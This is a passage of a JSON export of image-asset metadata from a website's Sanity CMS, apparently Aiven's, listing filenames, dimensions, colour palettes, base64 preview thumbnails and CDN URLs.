4","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2d3244","foreground":"#fff","population":0.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0cedc","foreground":"#000","population":0.2,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4c95a","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54849c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8bf2b","foreground":"#000","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"zero-shot.png","path":"images/sczeoy4w/production/8795b9be37b9eeb53722accc7d6c34f3fdf9ec66-2352x1344.png","sha1hash":"8795b9be37b9eeb53722accc7d6c34f3fdf9ec66","size":417160,"uploadId":"GRoneRjNix6r61F8pr64Fka94ugUQHU1","url":"https://cdn.sanity.io/images/sczeoy4w/production/8795b9be37b9eeb53722accc7d6c34f3fdf9ec66-2352x1344.png"} {"_createdAt":"2024-05-08T12:49:50Z","_id":"image-0eba64335d29d5c606caec591e551cab915c7d48-3014x1264-png","_rev":"6IjwK8t2YScx5mkOZiYvIm","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:50Z","assetId":"0eba64335d29d5c606caec591e551cab915c7d48","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04xoS~qo%x]D.00xv-=IS-;?dISM|M_Ro","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.384493670886076,"height":1264,"width":3014},"exif":{"PixelXDimension":3014,"PixelYDimension":1264,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABTklEQVQokW2R626jMBBG8xhbIA3YxuAbkIBpmqSttNK+/yOdlU26SqP9MbJka47PfLNTOiDbQCMdtbA0wqK7gd6MCGmp9oqyklR7+eMsSsFL0fyrsmo51IHdMJ2xfqHtRoTyqDbg/IwPM60O1E3Poe5+1OtBZ+gjsCgFZaXYnZYbfljR/RHZDtm268cMS83J8H+VAM/1UjTsjvMNFyJtNyFVyJay9TTSUu4Vv74tyobiwei5ijv0DlwzUKiATGPrBLbsXzVFueW1nd85brnmLKvt/gkYUXrM46ZlTFMkDBGdPpHJ1tEIh5AOY474sNCbFNG2zO3dcqhNAl6zYQImQ+dPXK+fvF9+M52uOL9iXKS3C9ZH1vWT28cflviFH85YF+/vaYnjZugfRu7NxDxfWOIH43TBh7etwcy5aTq+E9cvUl8YzlnGuIXOnFB64C/J2+gLZjVdXgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313146","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c14","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#313146","foreground":"#fff","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6a8ad","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1e5b2","foreground":"#000","population":0.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#949474","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8b446","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"search-text-calssification.png","path":"images/sczeoy4w/production/0eba64335d29d5c606caec591e551cab915c7d48-3014x1264.png","sha1hash":"0eba64335d29d5c606caec591e551cab915c7d48","size":273813,"uploadId":"cg152itlVtASYX9ZdlTVGj5jghbyPH9V","url":"https://cdn.sanity.io/images/sczeoy4w/production/0eba64335d29d5c606caec591e551cab915c7d48-3014x1264.png"} {"_createdAt":"2024-09-09T13:11:44Z","_id":"image-74b1ac8acf75279b8565df7c6e723a96783976e0-1200x630-jpg","_rev":"AE3hjGWNkNE6aGQMMff0bT","_type":"sanity.imageAsset","_updatedAt":"2024-09-09T13:11:44Z","assetId":"74b1ac8acf75279b8565df7c6e723a96783976e0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNp7*XZ#-TZj~Wk;ivi|ixiba1b^bZgM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwT/xAAgEAABBAICAwEAAAAAAAAAAAABAAIDIQQREjEFEyNR/8QAFgEBAQEAAAAAAAAAAAAAAAAABwIE/8QAHBEAAgICAwAAAAAAAAAAAAAAAAEREgIEIVFh/9oADAMBAAIRAxEAPwBliSYQiZzaC/V0m2E7EMnzZeqpT0ZpnXX4qLxwHogOhvRtGl2+IFfZxWKmWa8pW0HDSF1RgcBSFNH2YL+H/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c1a5","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac27a","foreground":"#000","population":0.44,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b28b64","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.68,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-on-oracle-cloud-meta-preview.jpg","path":"images/sczeoy4w/production/74b1ac8acf75279b8565df7c6e723a96783976e0-1200x630.jpg","sha1hash":"74b1ac8acf75279b8565df7c6e723a96783976e0","size":65933,"uploadId":"mzvGIzctDPEu4bJRg7BNSkxDolBs6U53","url":"https://cdn.sanity.io/images/sczeoy4w/production/74b1ac8acf75279b8565df7c6e723a96783976e0-1200x630.jpg"} {"_createdAt":"2024-06-18T07:04:37Z","_id":"image-2eb4eaf96f751af563238255072a6e184efb56f8-1600x1137-png","_rev":"xP8AOsNpW7GGLGYtlha5sL","_type":"sanity.imageAsset","_updatedAt":"2024-06-18T07:04:37Z","assetId":"2eb4eaf96f751af563238255072a6e184efb56f8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VgO{]tE*9ET0D$*0r?xZxaV@DNRjtms.XSX.oJi_aeV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAD8ElEQVQ4jW3QX0xbVRwH8GtSGDzswZg9zPniVDAYSNTIEmFZhAgmxszEOdmmjhFmNIzCBpR/TskKDCZ0C6MdEg0CY4xui25RYUvcRIbbZGDsoIVSKBQ6WtbSlnvPPefec8/5mVLikyf55Hdezjff8xMCa3K8a/7xttu/39t5aeDHpO5ea3L3RWtyd6/15ZiB5J6+K8l9/dde6ujsenZsbDzN7181hELhi5KEBiillxljLZSqu9F6SCeERZrQbvku5cMDBfl7cj8wZuTsb87IzWvKyM2LzuY3c/KaM9850Pz2+wWn3/3oi6+/Ot1umvjHPhoKRXyEKAHGWIBxPkI1tl9UeLwQCJPE4yeqducdKvzh6LFqt77mG5++1rRSXNPqi9LXmnylJ8/5DEbLyskz33s7eq77J2wzOLIuAqUUGOPANM1BsXQEzd5NEJZ94cQTZZXZp0413vj5l1t4wuaEhzYn3B+3w4MJO4zbnGBzuGHK6QGHawlcC4/B5w9ySUJMVVWmaRrXpOCC5vytln6bvV3weIOJVdVfZlvMlut2u10mRAFJwiwUXueiKHFCFM6iNQA2aBrjCMlcFBGXMeaKogJddYracOsl1vT8a8LSZqDZbLkxNWWXMVZAQoRH1hGX5Y0HPNoiGho9lFIuiiIPh8McIcRVVQFtZZKyW3WDrOG5TMGzHEioMFS9ZTZbfrLbHbKiKIAxjrYDWcYQbayqKihUA0I5YIVCMBgGny/A10IiR4gAWXpE1aHNQOecV5d/pGBXW9t563+BMuJiJAKiiADJGDAhgAgFkXBYRyq4F0Pwt83PbVNBPulYA9eD+zR4pXqQ1e/IFPTHa4SsrOw0k+lsr8PhQKqiAsGYS6LIJUkGWSbRPYJM6IbIOgGnKwT3xvzw51+r/M7wPAz399H5toODrO6ZTGHFtyqkp6enmExnu2dmZiQa/RpWNpaOEOYYK5wQlWNCOSGUy7LCQ2HMnwRk/iSI+fQjO9ztMFBnddKvUPlUhmC1XtXl5OS8ajQa+0ZGRmS3exFmXW7mmHbxaeccd866+ezcAnfNe/jcpnm3h7sXPNy9uMzGRm/zm00H1amSbYOkZuseoaure3th4dHsoqKizpaWlsmuTsvyJcsZ+XK7EfrPxwy014PV3BBj2WRugAFzI/Q0l4G1LIs9LHvxjrv+jfeEVtO5HSUlpa9/8unhffn5+Z81fr634Vpx+h9D+rSlm/pU71BxqndIn+rduG/OmLSY4le8o/oXPPaKnVcn63blCuUVlbpjRUVbDh0uSPh4397Eaf3TKeGy+FKpPM4slesuSOU6i1QeZ4nN/xN3AVXEtSPDluKQYWvSv3wTK+6v1HAhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#643c64","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082663","foreground":"#fff","population":1.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87505","foreground":"#fff","population":6.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bca2","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8093e4","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c647c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87505","foreground":"#fff","population":6.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-aiven-for-caching.png","path":"images/sczeoy4w/production/2eb4eaf96f751af563238255072a6e184efb56f8-1600x1137.png","sha1hash":"2eb4eaf96f751af563238255072a6e184efb56f8","size":296268,"uploadId":"mIWtD1q8K0loOnOMOlhQREYoRFFcEXhT","url":"https://cdn.sanity.io/images/sczeoy4w/production/2eb4eaf96f751af563238255072a6e184efb56f8-1600x1137.png"} {"_createdAt":"2024-10-21T14:24:02Z","_id":"image-9c90710db8d8e874cb1ea68b708084d249ea7588-1200x628-png","_rev":"Tpe1Rj6o9fDmGqbWvujons","_type":"sanity.imageAsset","_updatedAt":"2024-10-21T14:24:02Z","assetId":"9c90710db8d8e874cb1ea68b708084d249ea7588","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M87UW1?PI9M_WB?wxuInWCa~D%M{t6xvjq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACNElEQVR4nB2Ra1MSYQCF9x/YyF7fd+/v3nTFmmY0Cx1IEfEG7FLroslkKgoiKhi4cklWB02TyBqrD/3XZv0B5znPnIMNUTbBuRBtsuoWRNussicYZWRWpdFTyWzIY015rIPGffT8UjTbUPcY9ZxRPBrVabmGEawzPll8mzyLJrzXscZ0vB1L+vGV6/jK7fzq/ezS/UyiH1t8iC39nIjeyOEWUJtAawcI1MAYMTcVPV6xL1azl4sZf9nupd7fWe73jPsj4/7KuI8Z92/S+h2J98enfMlssfoFZ1yxhs8alxgjrU9EKovpTjZ3/W7jNu18zeb6zuZDyhkk0/3s+h8n/29mYYDCbaDUgNJg9S43csWN9HjzDqME98VkaX65aa31bPdmyepl1r45mw9pZ5BI9ROpwfR8X3/ZpVGNEA4pqcooHtBa0PC50RsMZx0tvD0ROZqea8zEm6+iXmS2E1u4ii303sz1wpNdyewAzSOlY0IsU9IJg+qMcgbUVqA9RGVD0KH4HCPlOWUHKgWolDitIhhVfuQUKDUG1WmlTkpHhHhIo1OotqDWAuo51DrYM9IiaJsEDsFthGB+GH4cZndwbh/nDwihRPBFUqxQ8gkpVUjpiEFnrN6F+hdG8YK1cdpSeds08lq4AJUdnPuEc7uEUCTFMiGUcK5A8CVSrDwhqk+2PtDaNPoc/ByiLJGzNfUDGt0FaDvEbgXhoLBMCgc4v0fw+0FSOg6c9Q6rd4F6Tss1Wq79B2gyn25Pw3eNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252650","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6daea","foreground":"#000","population":6.85,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797ec2","foreground":"#fff","population":0.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697096","foreground":"#fff","population":1.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Add caching to your PostgreSQL app using Valkey.png","path":"images/sczeoy4w/production/9c90710db8d8e874cb1ea68b708084d249ea7588-1200x628.png","sha1hash":"9c90710db8d8e874cb1ea68b708084d249ea7588","size":154250,"uploadId":"kOB0dHxbPJhfyFudH1jZI2V9sRYTtOXT","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c90710db8d8e874cb1ea68b708084d249ea7588-1200x628.png"} {"_createdAt":"2024-10-22T13:46:08Z","_id":"image-d57d15add0b342d3348f882fa4958587ec745221-1200x628-png","_rev":"jvX45fVrMTONcXvY2awb1O","_type":"sanity.imageAsset","_updatedAt":"2024-10-22T13:46:08Z","assetId":"d57d15add0b342d3348f882fa4958587ec745221","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN+q*QVr-nZO~Co|i^i~idY+Z*cEbagg","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJElEQVR4nC3S3U/TZxgG4KKlkDi2uCgBkQ834gYTQkRSsRSFss3MmCVsiNCxGkHEAzQS2ZIVMSC2lI8iMEFZNEucyf7JvdfySz24T688T+47FkarhJ/ijCUYr2aimmycqQR3aphOMFPNbDUPEszX8vtJ1trY7GCrg/IF9np5dVks/JwQ7tRzv4W5ZubO8KCBhy0snONJG4stLDbzWxNLbRQ62U3y13ccjbB3qYLudImFiTrh4TfkUyynWUqSv8hKiheDFNKspymlKCbZGuDgW979yD/jvL3Bbi/r5yg0iYXsp8JCD8+GeD7C6jWWL7M6QOEapWG2hilnKA9RTvNqhLc3Ofqe7R7W2yk0s3IqAuuEx10sD7GaYWWQp0nWBill2BhhK8N2hA6zc5XD6/w9yrsbHKYr+bOPjXaxMHlCmP+q8vLTFPk+8r0VsDjEWorCFYr9lK6wM8ibH3g/zofbfBjj3yzvR9nvEwtjcWHqJNNnuNfIbD1z9cyf5VETjxpYPMsfreRbhWdfsNHNQZqjDK8HeHOVo2H2LkYtx4XbnzD5Gdk6Jmv4Jc6vcXJxZhI8/pylZpailht43iqUuyvtRrPZPM9uD/sReKvWf3cbhdlW4V6jkKsje5ypKnLHKhtcrKfYQamTF19SbOdlBPSx3VnJ/iUO+yMwIeROCTONwsxpcifIHmMqRq6K6ThPTrPZxcteShH89cchJ9nprlx30M/rlP8BIJIQKud2YfoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8c0ba","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac377","foreground":"#000","population":0.54,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b49454","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"General event promo template with more info Orange.png","path":"images/sczeoy4w/production/d57d15add0b342d3348f882fa4958587ec745221-1200x628.png","sha1hash":"d57d15add0b342d3348f882fa4958587ec745221","size":178410,"uploadId":"v96QEypyVBMfjZsaT40g8gxAicXnKLPe","url":"https://cdn.sanity.io/images/sczeoy4w/production/d57d15add0b342d3348f882fa4958587ec745221-1200x628.png"} {"_createdAt":"2024-05-08T14:37:42Z","_id":"image-6bef5aa959b61a371debcd84b2009a9dca3517ab-512x512-png","_rev":"6IjwK8t2YScx5mkOZj7Y7v","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T14:37:42Z","assetId":"6bef5aa959b61a371debcd84b2009a9dca3517ab","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJMZXUNKP;_2X9v|kC9ZkC%g%fayIpofxCR%s:bGfQs:%2WBNHkCWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEc0lEQVQ4jU3TbU8TBwDA8fsye7dXMyZLTIxLpsnUxcVImCgiwylTpLRSAYG2lNoHSqEUaOkDfW6vvV6v1157d71r75m2d7Q86dgwE6PINubmBPcBFsyy7QP88n/1B6o4WsVzBAq6bPqh7ssR7Q3FNbgTndzLOQ9I/1sxfbRaPGoV30mpbdA6r74+3v9NxDODJP2ZuBdgiDxDoHgu6bLqTH2dqGVgLWB8Btr3Cu4DOvK2ljtap442K4dNbLfgiRnumgbvRL0zOTAAJ3wAR2IcWcBz4KJ9wjXaRy8YNsLWHdDxuug7qMb/qKGH69T7Leb9OrlHhbN27dSj+7GAE4WCCBgABLok0CUChXxOi39SS7h0zNzoilu/k5n/mY6/EeA3EvqLhP4qwrv4MuwYdujVidBCAQ6j6SAgVnCxgpNoZtlp9Ru1yUnNoqpr+k572nB/Izb7U84nh6YJ1wQfsCkxR8Y+7DY9hCIeDI7loSggVQmxghOZeNCsC+rVcb3Kfufq4OVzxo6LmGmg6XucGe2d7e0AJzS8z4w7xyD7KBZdKmWTGJwEVpiyWMFLsUDokRrUD+DTw/CEKjzUG1TfJMzqp+EpfvZRRj/AuE1bmUUlZOMXTZW4l0BSeC4N1NiyVCXIRCgxpskaNfWA+UnUvr5sFWZGVt2GPdS3Xwy+KIT2q+l9BtxOuVohBw+FyihE5jNAnaVqbJlFQMSmQx9rW1HHc2hhw2tirYOtJdPrwvJv5djvDPROxg9EZCfr2QDdQi5BYXC5AAN1jqqxlITnSO8MZh+t+cwrrvGI6obl+qUlVXfJNiLM6Zp+y24h9JJKfI94m9kgh0FUEaGwLFDn6WNfwRkoWnRbCMewt7+j6/Qn5z7+qP3UCc2ls/qvLzh6LhNTD7dgt5INiGiSKSF0MUcXEaDOV+ocVeconszjETdqfzh/t63ns5M3T53QXTnvvNVhuvaVoeNCZrJfBl08EmGK2SqBVkofcEOoNHi6ztNSlcRTIWR2PP+4P6ntTtzrJMdUjVnjitPIunRyxFqD3AyaYHCUIfJV/NgDslj94Kk6S1FoGpo3FR1azqFFhm4HejuxiQc74Pwr3L8Fu7jUIlNIs2Thww7HHpBFVhaqDZ5u8BWeyEOeqeXxu5GRb933rk50XPRpugWvsRGf4kIWLu0RCISjsH89oIicIjCyUGkIxxhesE33d6qunL335ZmR9i8st9psfdc8o71lr1HJ+WsUytPF/2GJU0RGEauKxLKlfMph9Gi61G3n2s+c7Pr801sXTve1n/cb7q+mZjax0CqDSwz5H5YlTpFYReJacl2g6ajNEBnuiY/enuu/br7d5hi4AU4PtTKuHWzpCZnabsrNusRTJfaf8oqgrIhKrb6+trlaV1ILM6GhHtqhFb2TYsDcTM09I8MvqNAG7H7KEvsvX+0+312TG1K1fIybiqLIzUZjbW3jhyeb22UwGh/7jnI8aEWntqCFZ3h4j0v9iPnE2Px2o/buz/eHh3+9erm3JjfYcvFv2sAEvo2ePqsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#332119","foreground":"#fff","population":8.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#764638","foreground":"#fff","population":3.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcb8","foreground":"#000","population":8.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcb8","foreground":"#000","population":8.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc3ae","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab7a67","foreground":"#fff","population":8.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c99b84","foreground":"#000","population":8.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Jeremy Heller.png","path":"images/sczeoy4w/production/6bef5aa959b61a371debcd84b2009a9dca3517ab-512x512.png","sha1hash":"6bef5aa959b61a371debcd84b2009a9dca3517ab","size":264788,"uploadId":"ZZfIvHWNB04Ulqyz3M02yXjMDxHsCr7C","url":"https://cdn.sanity.io/images/sczeoy4w/production/6bef5aa959b61a371debcd84b2009a9dca3517ab-512x512.png"} {"_createdAt":"2024-09-05T08:38:21Z","_id":"image-22798d34b1edb737156d5b60c8bff712a68b36b2-1188x823-png","_rev":"4gmBGwifQuSypgRenVWKA4","_type":"sanity.imageAsset","_updatedAt":"2024-09-05T08:38:21Z","assetId":"22798d34b1edb737156d5b60c8bff712a68b36b2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDBCj0xH0vIo$m0coy=BRPJYXoW=V=s9r;^5RkO_xat7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4434993924665858,"height":823,"width":1188},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEBUlEQVQ4jX3Sa0xbdRgG8HerYkKCS5yMxFHgcHFAxzmFQinFUpBLkXGzk0GBXii0obYUCmu5DTpg55SBoy09BUYWgkbiyEZ0IOkgTB1zQ4WZodlEHZkTcfBhy2YcYcty/gbIEmPUJ3k+vckvz4cX4G8RUtMQT14EAXnxBXH353hy52e5AsN4ZBDH5YcR7kAMp0MxnPbHCNobI2h43v8Mj5qAGOoCxJDjrNguT2SszSPBDWOvB0W69mKEez+G069hOO2DETRrB3P/P6jqmAP1ia+grGOOpTxxLbzYOpsu0UyEBXB69wbvgH4YTr+0hQRugfhO/zVbh2HrHHzY9g0Mtc6xhlq+jKDrv8jQyz8+EMBx+oYSNDsYp9kYTu/BcJr1HMP+iYp5x4HHtW3Pdxg7AaFhmD1lY/0wSIUuuEiRvbo7+FXOoG8Ad4CNEW7/YIJ+JZTrejFFRMGbIhKi43oAw93AF3SBUNgFEMG1g5hnBb1AAegyQFEJBQj5wo/n3vE7/56aW5Bt5fOjutL5eHfmgShndDDh8guP7vVKFpLgHTIMCAFU5tZBUmInhEc7ARb/RHCIfQjoN5IAsJ92hUU5vTnRPWxC4BQfTKD1cfGOvnwh6ckV2DxcXq8rkOirCCHoxIgYp38Y1+UNsLCrR6GETK4cvr6LABBCkBDV7CXht+yT8utiivkG2dtxtTYRr32CiHXeShT3PyjKpp8cyXI/SRD138f5zpuiRNsFaVorKctsKspPOx6dkWzbFx/X7rVlQXzyMDctzppbGqdtrE4o+ag5qfB6k1i2Xpmo2SwQmtHhNBLJpQ5UergXSbO6UYHEylTmmzebiqrXmgoNC8b86pESSX1DqrgzOz7lAwKyCz10Xmb/JZX46K9mUekGmSJletJykCMtC9kz3mJ687KZPpmU6ZcXML0lRxh7qYyxq1TolFqLOuQ6pq7AtKHM67ibmzc0nVM05QC18TopL5saUxa8f0uTc/JBlcT89FiGijmdk4pmiiOYJd1+Zs3CZu7Vs5klYwAzo+GifoUUNRebGIOMfFpR7L6vVIzelGsunVMbv22DRmoVM7UuC3VHF9XlulmHSvHJjLawb7ldVvPHaFnmswU9B61YgtCKORDN6znorDrrWZvc/EgrP3NbVT45XW64ateZvysztS4nNFKrQVD67jxMXka7KfeGj4VaCzE0307X1c7XGPWfDjVoT891Vhz7faBCszlQod20VbSsNmgHrxr1k2d0tQvGquafU+upe8E292OfqWtot0K/AKAxLW4/+PgvCIBCMDrykNVmf7jHQq4fNLXeUVZZbpw11Fz5zVBzZaXKcmPEZL0jt1Drke3ORy+fH3u826sMgWcJbRvauu/hL7KIr7vLXzr3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#633c5c","foreground":"#fff","population":1.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#093097","foreground":"#fff","population":0.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f67408","foreground":"#fff","population":4.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e5e4dc","foreground":"#000","population":0.48,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#868fe9","foreground":"#000","population":2.81,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6664ac","foreground":"#fff","population":0.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67408","foreground":"#fff","population":4.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-marketecture-for-store-with-services.png","path":"images/sczeoy4w/production/22798d34b1edb737156d5b60c8bff712a68b36b2-1188x823.png","sha1hash":"22798d34b1edb737156d5b60c8bff712a68b36b2","size":32562,"uploadId":"jDQ7KnwZol9uJpSakRjkkjfFwFxmlU5C","url":"https://cdn.sanity.io/images/sczeoy4w/production/22798d34b1edb737156d5b60c8bff712a68b36b2-1188x823.png"} {"_createdAt":"2024-05-08T14:59:23Z","_id":"image-32dca7ead0a8e992b18e33cb80bb5f8a7f623776-1200x628-png","_rev":"WsWK2eJhT0GdR6GsCStUKy","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T14:59:23Z","assetId":"32dca7ead0a8e992b18e33cb80bb5f8a7f623776","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7x34xQRioeM{_4kBNFkCRjRjWBRjj]ob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACfElEQVQokU3RaU8TURiG4fkFBktn63Smy3SRxSUiFFQKpQgqtMC0DAWKK6hoWW2wthVsAkgVCKYYiUtM+KO36eAHPzzJOW/yXudJjuDyTHPl+hI9/ev0DhTpGyzRO1gmNlDldrJGfGSf+EidO8OfiY8eM5w6ZWiswd17R/Qm6sQSn+ns2cMbLaMEiwiSkSMWXyedrTE1s8ek/Yn09AET9iET9jFp+4S03SBlfyMz/5OZx3/I5n+Ttr/z0DplLHtG/H6D8I1dtMgHBNmXo6d/jVTmI1ZuHzv/hen5I6zZI8Yzhzy0jhjPfmUse8pE7gxr/hfW/A+sue9MzZ6Re3JOJn9OLNHA31m/aHizr8DIeIUxq0Yqs8fg6A498Qpdd6t0x2vEBne51b9P90CdvqFDbicP6Bva5U7ygOFUg9HJM7r6T/BfPUQQ9Rm